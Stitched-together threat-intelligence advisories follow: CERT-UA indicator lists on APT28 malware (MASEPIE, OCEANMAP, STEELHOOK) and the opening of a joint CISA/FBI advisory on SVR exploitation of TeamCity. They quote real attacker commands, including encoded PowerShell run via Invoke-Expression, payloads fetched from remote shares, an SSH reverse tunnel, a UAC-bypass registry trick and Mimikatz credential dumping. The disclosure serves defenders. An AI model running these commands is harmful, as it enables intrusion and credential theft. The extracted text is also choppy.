+d59b1ace28e0b35a0bd54fa0ca95f92082b17fa4109fb3f3d0be33ca60834660 Request.exe +0bff5c030f8c781c604fb589c6bfc5a6 +be878c37bfab2d6ea7b460d74312523317e3377927222f87aa3ce92f6ebc5bcd Worm +0e38564d3cff4859e4418ff3b1c57506 +096a62c27bc5a7c860f72927a5435c8a874044d2412be549817a8f7d13ba93cd Ties +4febae6a56361fa83265fa07f50a1880 +0d43898207e1c83da0844e5511a58ea051f4672f0c96a77a8437b326ce9b4547 Stylish +participants +e0f074f4d3dcd3b2b59c0c162d83ff57 +52a25828f2df09476ac25ab2fd12a9b7b47be2a2ef42f58641a4dd1e0dab2aaa Ka +aae9e3b0ccd99846c3c5606a3164b3bf +d78a77857dcfddf9f7af0b7c0fccb181b12b69587e1e60a3d96be1b8a7ce3b52 Injection +6041845b2fe9dfb4b06fed8ec8a05295 +9277d96732034e91501a8ef9be26a05c63db0be38b50e1d11d4ee3a38929ec2e Emperor +53b204f96e93b70a528b88bedfd6b794 +8e0967dbee0583704b4b9718521b04e53edc84ddc61456e6d9e38c5522c9cb46 Compound +Bathrooms +848164d084384c49937f99d5b894253e +f58d3a4b2f3f7f10815c24586fae91964eeed830369e7e0701b43895b0cefbd3 VideoMagic.pif +ce460418bab48b1e78b3bf611aa34f99 +d28975157f2af26766fcbdab8ca5a68bd5bbf1331cef1107424d0400b400ed50 remcos.exe +Network: +\\89[.]23.98.22\LN\ +\\89[.]23.98.22\LN\GB.exe +(tcp)://45[.]87.155.41:8080 +(tcp)://45[.]87.155.41:465 +(tcp)://45[.]87.155.41:54550 +(tcp)://45[.]87.155.41:80 +(tcp)://45[.]87.154.153:80 +(tcp)://45[.]87.154.153:8080 +(tcp)://101[.]99.75.16:80 +(tcp)://101[.]99.75.16:8080 +(tcp)://101[.]99.75.16:465 +(tcp)://101[.]99.75.145:465 +(tcp)://101[.]99.75.145:80 +(tcp)://94[.]131.102.115:80 +(tcp)://94[.]131.102.117:80 +(tcp)://94[.]131.102.119:80 +(tcp)://94[.]131.102.122:80 +(tcp)://94[.]131.102.124:80 +(tcp)://101[.]99.75.145:8081 +(tcp)://101[.]99.75.147:8081 +(tcp)://101[.]99.75.14:8081 +(tcp)://101[.]99.75.16:54550 +(tcp)://101[.]99.75.16:8081 +(tcp)://45[.]87.155.41:8081 +(tcp)://94[.]131.102.115:54550 +(tcp)://95[.]164.35.143:8081 +(tcp)://95[.]164.35.174:54550 +(tcp)://95[.]164.35.174:8081 +(tcp)://95[.]164.35.234:8081 +101[.]99.75.14 +101[.]99.75.145 +101[.]99.75.147 +101[.]99.75.16 +45[.]87.154.153 +45[.]87.155.41 +81[.]19.149.130 +89[.]23.98.22 +94[.]131.102.115 +94[.]131.102.117 +94[.]131.102.119 +94[.]131.102.122 +94[.]131.102.124 +95[.]164.35.143 +95[.]164.35.174 +95[.]164.35.234 +hXXps://bitbucket[.]org/olegovich-007/777/downloads/wsuscr.exe +Hosts: +"%WINDIR%\System32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f +"%WINDIR%\System32\reg.exe" delete HKCU\Software\Classes\.omg\ /f +"%WINDIR%\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f +"%WINDIR%\System32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d +C:\Users\ADMINI~1\AppData\Local\Temp\persistent2\test2.exe /f +%APPDATA%\wsuscr.exe +%TEMP%\IXP000.TMP\test2.bat +%TEMP%\persistent2\test2.exe +cmd /c "test2.bat" +cmd /c schtasks.exe /create /tn "Watson" /tr "wscript '%LOCALAPPDATA%\Insightful +Markets Technologies\MarketWise.js'" /sc minute /mo 3 /F +cmd /k cmd < Bathrooms & exit +cmd /k echo [InternetShortcut] > "%APPDATA%\Microsoft\Windows\Start +Menu\Programs\Startup\MarketWise.url" & echo URL="%LOCALAPPDATA%\Insightful Markets +Technologies\MarketWise.js" >> "%APPDATA%\Microsoft\Windows\Start +Menu\Programs\Startup\MarketWise.url" & exit +cmd.exe "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.pif" +"%LOCALAPPDATA%\Insightful Markets Technologies\A +cmd.exe /S /D /c" echo F " +cmd.exe /c res.bat && test2.exe +dvwsus-SFNWWW +exel-3RO5G3 +explorer.exe "\\89.23.98.22\LN\" +powershell -Command " +[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABwAHcA +|Invoke-Expression" +powershell -Command " +[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4A +| Invoke-Expression" +powershell.exe -Command Stop-Process -Name explorer +wscript "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js" +wscript.exe "%LOCALAPPDATA%\Insightful Markets Technologies\MarketWise.js" +xcopy /s test2.exe "%TEMP%\persistent2\test2.exe" >NULL +Graphic images +Fig. 1 Example of a chain of damage +Previous +Modus operandi UAC-0177 (JokerDPR) on the example of one of the cyber attacks (CERTUA#8290) +The next one +APT28: From initial attack to creating threats to a domain controller in an hour (CERTUA#8399) +CERT-UA +cert.gov.ua/article/6276894 +general information +During December 15-25, 2023, several cases of distribution of e-mails with links to +"documents" were discovered among state organizations, visiting which led to damage of +computers with malicious programs. +In the process of investigating the incidents, it was found that the mentioned links redirect the +victim to a web resource where, with the help of JavaScript and features of the application +protocol "search" ("ms-search") [1], a shortcut file is downloaded, the opening of which leads +to the launch A PowerShell command designed to download from a remote (SMB) resource +and run (open) a decoy document, as well as the Python programming language interpreter +and the Client.py file classified as MASEPIE. +Using MASEPIE, OPENSSH (for building a tunnel), STEELHOOK PowerShell scripts +(stealing data from Chrome/Edge Internet browsers), and the OCEANMAP backdoor are +loaded and launched on the computer. In addition, IMPACKET, SMBEXEC, etc. are created +on the computer within an hour from the moment of the initial compromise, with the help of +which network reconnaissance and attempts at further horizontal movement are carried out. +According to the combination of tactics, techniques, procedures and tools, the activity is +associated with the activities of the APT28 group. At the same time, it is obvious that the +malicious plan also involves taking measures to develop a cyber attack on the entire +information and communication system of the organization. Thus, the compromise of any +computer can pose a threat to the entire network. +It should be noted that cases of similar attacks have also been recorded in relation to Polish +organizations. +For reference: +OCEANMAP is a malicious program developed using the C# programming language. +The main functionality consists in executing commands using cmd.exe. The IMAP +protocol is used as a control channel. Commands, in base64-encoded form, are +contained in message drafts ("Drafts") of the corresponding directories of electronic +mailboxes; each of the drafts contains the name of the computer, the name of the user +and the version of the OS. The results of executing commands are stored in the +directory of incoming messages ("INBOX"). Implemented a mechanism for updating the +configuration (command check interval, addresses and authentication data of mail +accounts), which involves patching the backdoor executable and restarting the +process. Persistence is ensured by creating a .URL file 'VMSearch.url' in the startup +directory. +MASEPIE is a malicious program developed using the Python programming language. +The main functionality consists in uploading/unloading files and executing commands. +The TCP protocol is used as a control channel. Data is encrypted using the AES-128CBC algorithm; the key, which is a sequence of 16 arbitrary bytes, is generated at the +beginning of the connection establishment. Backdoor persistence is ensured by +creating the 'SysUpdate' key in the 'Run' branch of the OS registry, as well as by using +the LNK file 'SystemUpdate.lnk' in the startup directory. +STEELHOOK is a PowerShell script that provides the theft of Internet browser data +("Login Data", "Local State") and the DPAPI master key by sending them to the +management server using an HTTP POST request in base64-encoded form. +Indicators of cyber threats +Files: +9724cecaa8ca38041ee9f2a42cc5a297 +4fa8caea8002cd2247c2d5fd15d4e76762a0f0cdb7a3c9de5b7f4d6b2ab34ec6 2.txt +5f126b2279648d849e622e4be910b96c +6bae493b244a94fd3b268ff0feb1cd1fbc7860ecf71b1053bf43eea88e578be9 2.ps1 (STEELHOOK) +47f4b4d8f95a7e842691120c66309d5b +18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6 Client.py (MASEPIE) +8d1b91e8fb68e227f1933cfab99218a4 +6d44532b1157ddc2e1f41df178ea9cbc896c19f79e78b3014073af2d8d9504fe VMSearch.sfx.exe +6fdd416a768d04a1af1f28ecaa29191b +fb2c0355b5c3adc9636551b3fd9a861f4b253a212507df0e346287110233dc23 VMSearch.exe +(OCEANMAP) +5db75e816b4cef5cc457f0c9e3fc4100 +24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04 VMSearch.exe +(OCEANMAP) +6128d9bf34978d2dc7c0a2d463d1bcdd +19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc KFP.311.152.2023.pdf +.lnk +825a12e2377dd694bbb667f862d60c43 +593583b312bf48b7748f4372e6f4a560fd38e969399cf2a96798e2594a517bf4 +KFP.311.152.2023.pdf.lnk +acd9fc44001da67f1a3592850ec09cb7 +c22868930c02f2d6962167198fde0d3cda78ac18af506b57f1ca25ca5c39c50d Strategies of +Ukraine.pdf .lnk +Network: +\\194[.]126.178.8@80\webdav\Docs\231130 No. 581.pdf .lnk +\\194[.]126.178.8@80\webdav\Docs\231130 No. 581.pdf +\\194[.]126.178.8@80\webdav\Python39\Client[.]py +\\194[.]126.178.8@80\webdav\Python39\python[.]exe +173[.]239.196.66 (X-Originating-IP) +(tcp)://88[.]209.251.6:80 +194[.]126.178.8 +88[.]209.251.6 +74[.]124.219.71 (OCEANMAP C2) +czyrqdnvpujmmjkfhhvs4knf1av02demj.oast[.]fun +czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast[.]fun +czyrqdnvpujmmjkfhhvsgapqr3hclnhhj.oast[.]fun +czyrqdnvpujmmjkfhhvsvlaax17vd5r6v.oast[.]fun +hXXp://194[.]126.178.8/webdav/wody[.]pdf +hXXp://194[.]126.178.8/webdav/wody[.]zip +hXXp://194.126.178.8/webdav/StrategyUa.pdf +hXXp://194[.]126.178.8/webdav/231130N581[.]pdf +hXXp://czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast[.]fun +hXXp://czyrqdnvpujmmjkfhhvsgapqr3hclnhhj.oast[.]fun +hXXp://czyrqdnvpujmmjkfhhvsvlaax17vd5r6v.oast[.]fun +hXXp://czyrqdnvpujmmjkfhhvs4knf1av02demj.oast[.]fun +hXXps://nas-files.firstcloudit[.]com/ +hXXps://ua-calendar.firstcloudit[.]com/ +hXXps://e-nas.firstcloudit[.]com/ +jrb@bahouholdings.com (OCEANMAP C2) +nas-files.firstcloudit[.]com +e-nas.firstcloudit[.]com +ua-calendar.firstcloudit[.]com +qasim.m@facadesolutionsuae.com (OCEANMAP C2) +webmail.facadesolutionsuae[.]com (OCEANMAP C2) +Hosts: +%PROGRAMDATA%\2.txt +%PROGRAMDATA%\python.zip +%PROGRAMDATA%\python\python-3.10.0-embed-amd64\Client.py +%USERPROFILE%\.ssh\known_hosts +%LOCALAPPDATA%\11.zip +%LOCALAPPDATA%\Temp\RarSFX0\VMSearch.exe +%LOCALAPPDATA%\Temp\RarSFX1\VMSearch.exe +%LOCALAPPDATA%\Temp\VMSearch.sfx.exe +%LOCALAPPDATA%\i.lnk +%LOCALAPPDATA%\key +%LOCALAPPDATA%\python.zip +%LOCALAPPDATA%\python\python-3.10.0-embed-amd64\Client.py +%LOCALAPPDATA%\python\python-3.10.0-embed-amd64\python.exe +%LOCALAPPDATA%\qz.zip +%LOCALAPPDATA%\s.lnk +%LOCALAPPDATA%\s.zip +%LOCALAPPDATA%\s2.zip +%LOCALAPPDATA%\s3.zip +%LOCALAPPDATA%\sys.zip +%LOCALAPPDATA%\t.lnk +%LOCALAPPDATA%\temp1.txt +%LOCALAPPDATA%\temp2.txt +%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.lnk +%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\VMSearch.url +C:\WINDOWS\system32\cmd.exe /c "powershell.exe -c "$a=Get-Content +"%LOCALAPPDATA%\2.txt";powershell.exe -windowstyle hidden -encodedCommand $a""C:\ +Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c +"%PROGRAMDATA%\python\python-3.10.0-embed-amd64\python.exe +%PROGRAMDATA%\python\python-3.10.0-embed-amd64. 0-embed-amd64\Client.py" +C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c " +[system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/ +231130N581.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe +\\194.126.178.8@80\webdav\Python39\Client.py" +C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c " +[system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/ +wody.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe +\\194.126.178.8@80\webdav\Python39\Client.py" +C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c " +[system.Diagnostics.Process]::Start('msedge','http://194.126.178.8/webdav/ +StrategyUa.pdf'); \\194.126.178.8@80\webdav\Python39\python.exe +\\194.126.178.8@80\webdav\Python39\Client.py" +C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c +%LOCALAPPDATA%\python\python-3.10.0-embed-amd64\python.exe +%LOCALAPPDATA%\python\python- 3.10.0-embed-amd64\Client.py +C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c +\\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\ +Client.py +C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden encodedCommand"=="4AdABlAG4AdAAgAH0AOwAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZA +AA=="4AdABlAG4AdAAgAH0AOwAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGk +AA==" +C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden encodedCommandQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQA +\\194.126.178.8@80\webdav\Python39\python.exe +\\194.126.178.8@80\webdav\Python39\Client.py +cmd /C start powershell.exe -w hid -nop -c "%LOCALAPPDATA%\python\python-3.10.0embed-amd64\python.exe %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\ Client.py" +powershell -c start-process ssh.exe -windowstyle Hidden -ArgumentList "-N -o +ServerAliveInterval=30 -p80 root@88.209.251.6 -R 88.209.251.6:10858 -i +%LOCALAPPDATA%\key -oPubkeyAcceptedKeyTypes=ssh-rsa - oStrictHostKeyChecking=no" PassThru +powershell -c start-process ssh.exe -windowstyle Hidden -ArgumentList "-N -o +ServerAliveInterval=30 -p80 root@88.209.251.6 -R 88.209.251.6:10859 -i +%LOCALAPPDATA%\key -oPubkeyAcceptedKeyTypes=ssh-rsa - oStrictHostKeyChecking=no" PassThru +powershell.exe -c "$a=Get-Content "%PROGRAMDATA%\2.txt"; powershell.exe -windowstyle +hidden -encodedCommand $a"powershell.exe -c $a=Get-Content "%PROGRAMDATA%\2 .txt"; +powershell.exe -windowstyle hidden -encodedCommand $a +powershell.exe -c $a=Get-Content -Encoding 'Default' -Path +"%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Encoding 'String' -Path +"%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Encoding 'ascii' -Path +"%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Encoding 'oem' -Path +"%LOCALAPPDATA%\temp.txt";Compress-Archive -Force "$a" %LOCALAPPDATA%\s.zip +powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";dir +"$a" +powershell.exe -c $a=Get-Content -Encoding 'oem' -Path +"%LOCALAPPDATA%\temp1.txt";Compress-Archive -Force "$a" %LOCALAPPDATA%\s2.zip +powershell.exe -c $a=Get-Content -Encoding 'oem' -Path +"%LOCALAPPDATA%\temp2.txt";Compress-Archive -Force "$a" %LOCALAPPDATA%\s3.zip +powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp2.txt";dir +"$a" +powershell.exe -c $a=Get-Content -Encoding 'unicode' -Path +"%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Encoding 'utf32' -Path +"%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Encoding 'utf8' -Path +"%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Path "%LOCALAPPDATA%\temp.txt";"$a" +powershell.exe -c $a=Get-Content -Path "%LOCALAPPDATA%\temp.txt";Compress-Archive Force "$a" %LOCALAPPDATA%\s.zip +powershell.exe -c Compress-Archive -Force %USERPROFILE%\Desktop\ +%LOCALAPPDATA%\qz.zip +powershell.exe -c Get-WinEvent -FilterHashtable @{logname="system"; id=1129} +powershell.exe -c Get-WinEvent -FilterHashtable @{logname="system"; id=1501} +powershell.exe -c dir /S %USERPROFILE% *.dat +powershell.exe -c import-module ActiveDirectory; Get-AdDomainController +powershell.exe -c net time /domain +powershell.exe -c net time /domain:%DOMAIN%.local +powershell.exe -w hid -nop -c %LOCALAPPDATA%\python\python-3.10.0-embedamd64\python.exe %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\Client.py +powershell.exe -w hid -nop -c Expand-Archive -Force %PROGRAMDATA%\python.zip +%PROGRAMDATA%\python +powershell.exe -w hid -nop -c start "%APPDATA%\Microsoft\Windows\Start +Menu\Programs\Startup\SystemUpdate.lnk" +powershell.exe -w hid -nop gpresult /z +powershell.exe -w hid -nop gpupdate +powershell.exe Compress-Archive -Force %USERPROFILE%\Desktop\ %LOCALAPPDATA%\sys.zip +powershell.exe Compress-Archive -Force %USERPROFILE%\Desktop\*.lnk +%LOCALAPPDATA%\11.zip +powershell.exe Compress-Archive %USERPROFILE%\Desktop %LOCALAPPDATA%\sys.zip +powershell.exe Expand-Archive -Force %LOCALAPPDATA%\python.zip %LOCALAPPDATA%\python +powershell.exe Get-ADDomainController +powershell.exe Get-Content %LOCALAPPDATA%\i.lnk +powershell.exe Get-DnsClientServerAddress +powershell.exe Get-NetAdapter +powershell.exe Get-NetAdapterBinding | Where-Object ComponentID -EQ 'ms_tcpip6' +powershell.exe Get-NetIPConfiguration -All +powershell.exe Resolve-DNSName %DC% +powershell.exe Resolve-DNSName %DOMAIN%.local +powershell.exe Test-NetConnection %FS% -Port 445 -v +powershell.exe [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain() +powershell.exe date +powershell.exe dir %USERPROFILE%\Desktop +powershell.exe ipconfig /flushdns +powershell.exe net start dnscache +powershell.exe net stop dnscache +Graphic images +Fig. 1 Example of a chain of damage +TLP:CLEAR +Co-Authored by: +Product ID: AA23-347A +December 13, 2023 +Russian Foreign Intelligence Service (SVR) +Exploiting JetBrains TeamCity CVE Globally +SUMMARY +The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency +(CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), +CERT Polska (CERT.PL), and the UK +s National Cyber Security Centre (NCSC) assess Russian +Foreign Intelligence Service (SVR) cyber actors +also known as Advanced Persistent Threat 29 (APT +29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard +are exploiting CVE-2023-42793 at a +large scale, targeting servers hosting JetBrains TeamCity software since September 2023. +Software developers use TeamCity software to manage and automate software compilation, building, +testing, and releasing. If compromised, access to a TeamCity server would provide malicious actors +with access to that software developer +s source code, signing certificates, and the ability to subvert +software compilation and deployment processes +access a malicious actor could further use to +conduct supply chain operations. Although the SVR used such access to compromise SolarWinds +and its customers in 2020, limited number and seemingly opportunistic types of victims currently +identified, indicate that the SVR has not used the access afforded by the TeamCity CVE in a similar +manner. The SVR has, however, been observed using the initial access gleaned by exploiting the +TeamCity CVE to escalate its privileges, move laterally, deploy additional backdoors, and take other +steps to ensure persistent and long-term access to the compromised network environments. +To bring Russia +s actions to public attention, the authoring agencies are providing information on the +s most recent compromise to aid organizations in conducting their own investigations and +securing their networks, provide compromised entities with actionable indicators of compromise +(IOCs), and empower private sector cybersecurity companies to better detect and counter the SVR +malicious actions. The authoring agencies recommend all organizations with affected systems that +did not immediately apply available patches or workarounds to assume compromise and initiate threat +hunting activities using the IOCs provided in this CSA. If potential compromise is detected, +administrators should apply the incident response recommendations included in this CSA and report +key findings to the FBI and CISA. +U.S. organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, +contact your local FBI field office or CISA +s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, +please include the following information regarding the incident: date, time, and location of the incident; type of activity; +number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and +a designated point of contact. SLTT organizations should report incidents to MS-ISAC (866-787-4722 or +SOC@cisecurity.org). +This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries +minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to +standard copyright rules, TLP:CLEAR information may be distributed without restrictions. For more information on the Traffic +Light Protocol, see cisa.gov/tlp/. +TLP:CLEAR +International Partnership +For a downloadable copy of IOCs, see: +AA23-347A (STIX XML, 77KB) +AA23-347A (STIX JSON, 70KB) +THREAT OVERVIEW +SVR cyber operations pose a persistent threat to public and private organizations + networks globally. +Since 2013, cybersecurity companies and governments have reported on SVR operations targeting +victim networks to steal confidential and proprietary information. A decade later, the authoring +agencies can infer a long-term targeting pattern aimed at collecting, and enabling the collection of, +foreign intelligence, a broad concept that for Russia encompasses information on the politics, +economics, and military of foreign states; science and technology; and foreign counterintelligence. +The SVR also conducts cyber operations targeting technology companies that enable future cyber +operations. +A decade ago, public reports about SVR cyber activity focused largely on the SVR +s spearphishing +operations, targeting government agencies, think tanks and policy analysis organizations, educational +institutions, and political organizations. This category of targeting is consistent with the SVR +responsibility to collect political intelligence, the collection of which has long been the SVR +s highest +priority. For the Russian Government, political intelligence includes not only the development and +execution of foreign policies, but also the development and execution of domestic policies and the +political processes that drive them. In December 2016, the U.S. Government published a Joint +Analysis Report titled +GRIZZLY STEPPE + Russian Malicious Cyber Activity, + which describes the +s compromise of a U.S. political party leading up to a presidential election. The SVR +s use of +spear phishing operations are visible today in its ongoing Diplomatic Orbiter campaign, primarily +targeting diplomatic agencies. In 2023, SKW and CERT.PL published a Joint Analysis Report +describing tools and techniques used by the SVR to target embassies in dozens of countries. +Less frequently, reporting on SVR cyber activity has addressed other aspects of the SVR +s foreign +intelligence collection mission. In July 2020, U.S., U.K., and Canadian Governments jointly published +an advisory revealing the SVR +s exploitation of CVEs to gain initial access to networks, and its +deployment of custom malware known as WellMess, WellMail, and Sorefang to target organizations +involved in COVID-19 vaccine development. Although not listed in the 2020 advisory, the authoring +agencies can now disclose that the SVR +s WellMess campaign also targeted energy companies. +Such biomedical and energy targets are consistent with the SVR +s responsibility to support the +Russian economy by pursuing two categories of foreign intelligence known as economic intelligence +and science and technology. +In April 2021, the U.S. Government attributed a supply chain operation targeting the SolarWinds +information technology company and its customers to the SVR. This attribution marked the discovery +that the SVR had, since at least 2018, expanded the range of its cyber operations to include the +widespread targeting of information technology companies. At least some of this targeting was aimed +at enabling additional cyber operations. Following this attribution, the U.S. and U.K. Governments +published advisories highlighting additional SVR TTPs, including its exploitation of various CVEs, the +Page 2 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +s use of +low and slow + password spraying techniques to gain initial access to some victims +networks, exploitation of a zero-day exploit, and exploitation of Microsoft 365 cloud environments. +In this newly attributed operation targeting networks hosting TeamCity servers, the SVR demonstrably +continues its practice of targeting technology companies. By choosing to exploit CVE-2023-42793, a +software development program, the authoring agencies assess the SVR could benefit from access to +victims, particularly by allowing the threat actors to compromise the networks of dozens of software +developers. JetBrains issued a patch for this CVE in mid-September 2023, limiting the SVR +operation to the exploitation of unpatched, Internet-reachable TeamCity servers. While the authoring +agencies assess the SVR has not yet used its accesses to software developers to access customer +networks and is likely still in the preparatory phase of its operation, having access to these +companies + networks presents the SVR with opportunities to enable hard-to- detect command and +control (C2) infrastructure. +TECHNICAL DETAILS +Note: This advisory uses the MITRE ATT&CK + for Enterprise framework, version 14. See the MITRE +ATT&CK Tactics and Techniques section for a table of the threat actors + activity mapped to MITRE +ATT&CK + tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE +ATT&CK framework, see CISA and MITRE ATT&CK +s Best Practices for MITRE ATT&CK Mapping +and CISA +s Decider Tool. While SVR followed a similar playbook in each compromise, they also +adjusted to each operating environment and not all presented steps or actions below were executed +on every host. +Initial Access - Exploitation +The SVR started to exploit Internet-connected JetBrains TeamCity servers [T1190] in late September +2023 using CVE-2023-42793, which enables the insecure handling of specific paths allowing for +bypassing authorization, resulting in arbitrary code execution on the server. The authoring agencies +observations show that the TeamCity exploitation usually resulted in code execution [T1203] with high +privileges granting the SVR an advantageous foothold in the network environment. The authoring +agencies are not currently aware of any other initial access vector to JetBrains TeamCity currently +being exploited by the SVR. +Host Reconnaissance +Initial observations show the SVR used the following basic, built-in commands to perform host +reconnaissance [T1033],[T1059.003],[T1592.002]: +whoami /priv +whoami /all +whoami /groups +whoami /domain +nltest -dclist +nltest -dsgetdc +tasklist +netstat +Page 3 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +wmic /node:"""" /user:"""" /password:"""" process list brief +wmic /node:"""" process list brief +wmic process get commandline -all +wmic process get commandline +wmic process where name=""GoogleCrashHandler64.exe"" get commandline,processed +powershell ([adsisearcher]"((samaccountname=))").Findall().Properties +powershell ([adsisearcher]"((samaccountname=))").Findall().Properties.memberof +powershell Get-WmiObject -Class Win32_Service -Computername +powershell Get-WindowsDriver -Online -All +File Exfiltration +Additionally, the authoring agencies have observed the SVR exfiltrating files [T1041] which may +provide insight into the host system +s operating system: +C:\Windows\system32\ntoskrnl.exe to precisely identify system version, likely as a prerequisite +to deploy EDRSandBlast. + SQL Server executable files - based on the review of the post exploitation actions, the SVR +showed an interest in specific files of the SQL Server installed on the compromised systems: + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlmin.dll, + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllos.dll, + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllang.dll, + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqltses.dll + C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\secforwarder.dll + Visual Studio files + based on the review of the post exploitation actions, the SVR showed an +interest in specific files of the Visual Studio: + C:\Program Files (x86)\Microsoft Visual +Studio\2017\SQL\Common7\IDE\VSIXAutoUpdate.exe + Update management agent files + based on the review of the post exploitation actions, the +SVR showed an interest in executables and configuration of patch management software: +o C:\Program Files (x86)\PatchManagementInstallation\Agent\12\Httpd\bin\httpd.exe +o C:\Program Files (x86)\PatchManagementInstallation\Agent\12\Httpd +o C:\ProgramData\GFI\LanGuard 12\HttpdConfig\httpd.conf +Interest in SQL Server +Based on the review of the exploitation, the SVR also showed an interest in details of the SQL Server +[T1059.001],[T1505.001]: +powershell Compress-Archive -Path "C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlmin.dll","C:\Program Files\Microsoft SQL +Page 4 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllos.dll","C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqllang.dll","C:\Program Files\Microsoft SQL +Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqltses.dll" -DestinationPath +C:\Windows\temp\1\sql.zip +SVR cyber actors also exfiltrated secforwarder.dll +Tactics Used to Avoid Detection +To avoid detection, the SVR used a +Bring Your Own Vulnerable Driver + [T1068] technique to disable +or outright kill endpoint detection and response (EDR) and antivirus (AV) software [T1562.001]. +This was done using an open source project called +EDRSandBlast. + The authoring agencies have +observed the SVR using EDRSandBlast to remove protected process light (PPL) protection, which is +used for controlling and protecting running processes and protecting them from infection. The actors +then inject code into AV/EDR processes for a small subset of victims [T1068]. Additionally, +executables that are likely to be detected (i.e. Mimikatz) were executed in memory [T1003.001]. +In several cases SVR attempted to hide their backdoors via: +Abusing a DLL hijacking vulnerability in Zabbix software by replacing a legitimate Zabbix DLL +with their one containing GraphicalProton backdoor, +Backdooring an open source application developed by Microsoft named vcperf. SVR modified +and copied publicly available source code. After execution, backdoored vcperf dropped +several DLLs to disc, one of those being a GraphicalProton backdoor, +Abusing a DLL hijacking vulnerability in Webroot antivirus software by replacing a legitimate +DLL with one containing GraphicalProton backdoor. +To avoid detection by network monitoring, the SVR devised a covert C2 channel that used Microsoft +OneDrive and Dropbox cloud services. To further enable obfuscation, data exchanged with malware +via OneDrive and Dropbox were hidden inside randomly generated BMP files [T1564], illustrated +below: +Privilege Escalation +To facilitate privilege escalation [T1098], the SVR used multiple techniques, including WinPEAS, +NoLMHash registry key modification, and the Mimikatz tool. +The SVR modified the NoLMHash registry using the following reg command: +reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v NoLMHash /t +REG_DWORD /d "0" /f +Page 5 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +The SVR used the following Mimikatz commands [T1003]: +privilege::debug +lsadump::cache +lsadump::secrets +lsadump::sam +sekurlsa::logonpasswords +Persistence +The SVR relied on scheduled tasks [T1053.005] to secure persistent execution of backdoors. +Depending on the privileges the SVR had, their executables were stored in one of following +directories: 